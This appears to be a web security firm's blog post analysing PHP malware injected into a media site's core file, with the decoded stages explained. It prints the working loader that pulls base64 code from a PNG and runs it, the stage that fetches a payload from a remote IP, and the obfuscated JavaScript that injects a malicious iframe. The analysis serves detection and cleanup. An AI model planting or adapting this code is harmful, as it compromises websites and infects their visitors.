Researchers at Zscaler published an article Monday with details of a widespread hack putting malicious code on several popular media websites.  We had the opportunity to work on a site affected by this hack, and it was an interesting one to track down and study.

The site uses custom PHP code.  The attackers chose a core file that would be part of the inclusion chain from most other files, so that it would be executed in almost every visit to the site.  They inserted this code into the middle of that file:

function check_image_c()
{
$imagepath = array (
0 => '47 104 111 109 101 47 XX XX XX XX XX 47 112 117 98 108 105 99 95 104 116 109 108 47',
1 => '105 109 97 103 101 115 47 109 121 97 99 99 111 117 110 116 47 105 99 111 110 45 49 52 46',
2 => '112 110 103',
);
$imagepath = implode("", array_map("chr", explode(" ", implode(" ", $imagepath))));
$imagepath = trim($imagepath);
if (!file_exists($imagepath)) {
return false;
}
$content = file_get_contents($imagepath);
$marker = "cde:::";
if (!stristr($content, $marker)) {
return false;
}
$code = substr($content, strpos($content, $marker));
$code = substr($code, strlen($marker));

$image = "101 118 97 108 40 98 97 115 101 54 52 95 100 101 99 111 100 101 40 39";
$image = implode("", array_map("chr", explode(" ", $image)));
$a = 'pre' . 'g_replace';
$a('/.*/e', $image . $code . "'));", "");
return false;
}

check_image_c();

The first part of the code contains an array of arrays of decimal values corresponding to ASCII characters.  The code puts them together into an ASCII string, in this case “/home/[redacted]/public_html/images/myaccount/icon-14.png”.  This is stored into the variable $imagepath.

It checks for the existence of the file and then opens it.  The file is a valid PNG image, but at the end of it the string “cde:::” and a bunch of text is appended.  The code has another array of decimal values which are decoded into “eval(base64_decode(‘”.  This is put together with the texe from icon-14.png and passed to preg_replace using the “e” flag, so it decodes the text and evaluates it.  This is the resulting code:

$__name = "19b650660b253761af189682e03501dd";
if(!empty($_SERVER["HTTP_REFERER"]) AND stristr($_SERVER["HTTP_REFERER"], "slurpaskbot")) echo "<script type="text/javascript">// <![CDATA[
var ok;
// ]]></script>";
if(1>0  AND preg_match("#(MSIE.(7|8|9|10|11|12|13|14))#i", $_SERVER["HTTP_USER_AGENT"]) AND
empty ($_COOKIE[$__name]) AND
!preg_match("#AOLBuild|Phone OS|Firefox.3|opera|chrome|gtb|altavista|AskTb|ask jeeves|bingbot|download master|google|php|httrack|java|jeeves|libwww-perl|listchecker|lycos|msiecrawler|msnbot|msnbot-media|netcache|offline explorer|pear|python|slurp|spider|teleport pro|twiceler|webalta|webcopier|webcrawler|webzip|wget|yahoo|yandex#i", $_SERVER["HTTP_USER_AGENT"]) AND
!empty($_SERVER["HTTP_REFERER"]) AND preg_match("#google|msn|live|altavista|ask|yahoo|aol|bing#is", $_SERVER["HTTP_REFERER"])) {
error_reporting(0);
function get_code() {
$url = base64_decode("aHR0cDovLzg1LjEwLjIwMi4yMzAvZmdzZC8/ZXhwb3J0PTBiZGM4OWJkNjZhOGJmYWEwNDIyYTZlMmFiYWIzZDU5")."&host=".$_SERVER["SERVER_NAME"];
if (function_exists("fsockopen")) {
$m = parse_url($url);

$fp = fsockopen($m["host"], 80, $errno, $errstr, 5);

if ($fp) {
fwrite($fp, "GET " . $m["path"]."?".$m["query"] . " HTTP/1.1\r\nHost: " . $m["host"] . "\r\nUser-Agent: PHP" . "\r\nConnection: Close\r\n\r\n");
$code = "";
while (!feof($fp))
$code .= fgets($fp, 100);
list($headers, $code) = explode("\r\n\r\n", $code);
fclose($fp);
}
}

if (!empty($code) AND base64_decode($code))
return $code;

return "";
}
$code = get_code();
$date = date("D, j M Y 00:00:00", time()+60*60*24*30);
$cookie = time().".".rand(1111111, 9999999);
print "<script type="\&quot;text/javascript\&quot;">// <![CDATA[
";
$__f = implode("", array_map("chr", explode(" ", "98 97 115 101 54 52 95 100 101 99 111 100 101")));
print "document.cookie = \"".$__name."=\"+escape('".$cookie."')+\"; expires=".$date."; path=/\";";
if(!empty($code) AND $__f($code)) print $__f($code);
print '
// ]]></script>';} unset($__name);

It starts with the assignment of the $__name variable, with “19b650660b253761af189682e03501dd”, which is the md5 output for the string “863”.  I’m not sure what significance this holds.  Next it checks for a referer string, and sets a Javascript variable if the referer contains “slurpaskbot”.

Next it checks the browser for several criteria:

  • Internet Explorer 7-14
  • A cookie with the name of $__name hasn’t been set
  • Search engines, runtimes like Java and Perl, and various non-IE browsers are not in the user-agent string
  • The referer string is not empty
  • The referer string contains Google, MSN, Live, Altavista, Ask, Yahoo, AOL, or Bing

If all those conditions are met, it proceeds to a function to fetch the malicious code to display (the Javascript code seen in the Zscaler report).  First there’s an obfuscated URL, starting with this:

http://85.10.202.230/fgsd/?export=0bdc89bd66a8bfaa0422a6e2abab3d59

and continuing with a GET parameter “host” set to the site’s hostname.  That URL returns a block of base64_encoded text, which changes depending on the host.

If the code-fetching function was successful, it sets a cookie named $__name to a semi-random value, to expire in 30 days.  One final decimal array contains “base_64” decode, which is applied to the encoded text fetched from the remote server, and the malicious Javascript payload is delivered:

var j=0; while(j<223) document.write(String.fromCharCode('=tuzmf?/c37ho93d!|!qptjujpo;bctpmvuf<!mfgu;.2258qy<!upq;.2699qy~!=0tuzmf?!=ejw!dmbtt>#c37ho93d#?=jgsbnf!tsd>#iuuq;00tscszr/nzguq/cj{0zq8tht{yxrivnp08851f1572f452b7g1g:41f37:1b2f73d0#!xjeui>#543#!ifjhiu>#299#?=0jgsbnf?=0ejw?'.charCodeAt( j++)-1));

Which results in this code:

 <style><!--
 .b26gn82c { position:absolute; left:-1147px; top:-1588px}
 --></style>
 <div><iframe src="http://srbryq.myftp.biz/yp7sgszxwqhumo/7740e0461e341a6f0f930e2690a1e62c/" height="188" width="432"></iframe></div>

Note that the trailing part of the iframe’s URL is an MD5sum.  It’s normally the MD5sum of the infected site’s hostname, but here I fetched the code without a hostname so it’s different.

Finding this code was a challenge, as it lacks many of the normal characteristics of malicious code.  The attackers’ use of the remote code fetch is interesting, as it will cause the web server to call out to 85.10.202.230 every time a victim’s browser meets the code’s criteria.  This wouldn’t work on all web servers, and would be a pretty loud indicator of compromise when it does work.

On our server, the attackers used an unknown vector to gain application-level access to the site (this was not a root compromise of the web server).  They had PHP shells and backdoors scattered throughout the site, and they had scripts actively checking in periodically, presumably to restore or update the malicious code.  We were able to find all of the backdoors with log analysis and file change detection.  There was some human interaction as well, as the logs indicated some attempted interaction with one of our tools.

Hopefully this sheds more light on a relatively sophisticated piece of PHP malware.  If you think your site is infected with this or any malicious code, you can always contact us and get help taking care of it.